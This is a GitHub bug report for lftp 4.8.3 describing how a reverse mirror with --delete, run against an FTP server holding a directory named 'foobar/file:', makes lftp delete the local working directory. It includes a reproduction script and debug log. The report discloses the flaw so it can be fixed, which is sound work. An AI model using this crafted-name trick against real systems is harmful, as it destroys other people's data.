Skip to content

Exploit in reverse mirror job deletes cwd on source #452

Closed
@tomsommer

Description

@tomsommer

Warning: This will delete local content on the server you are running the commands from

  1. Create a directory called foobar/file: on any FTP server
  2. Run an lftp reverse mirror command with --delete towards this server, where foobar/file: does not exist on the local source.
  3. Watch as lftp deletes the cwd on the sourceserver. If you run the lftp command in / as root, that means the entire server will be wiped.

Script to reproduce:

mkdir -p /var/tmp/ilovethisdir/
touch ilovethisfile
cd /var/tmp/ilovethisdir/
mkdir -p /var/tmp/lftptest/foobar/
/usr/local/bin/lftp -d -c 'debug 10; set ftp:ssl-allow 0; open -u example.com,"somepassword" example.com; mkdir -p foobar/file:/ls_/'
/usr/local/bin/lftp -d -c 'debug 10; set ftp:ssl-allow 0; open -u example.com,"somepassword" example.com; mirror --verbose=3 --delete --reverse /var/tmp/lftptest /;'
ls -l /var/tmp/ilovethisdir/

From log:

Removing old directory `foobar/file:'
---- local cwd is `/var/tmp/ilovethisdir'
---- remove(/var/tmp/ilovethisdir/.)
**** .: Invalid argument
rm: Access failed: .: Invalid argument

LFTP 4.8.3
Libraries used: Expat 2.0.1, GnuTLS 2.12.23, idn2 2.0.4, Readline 6.0, zlib 1.2.3

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions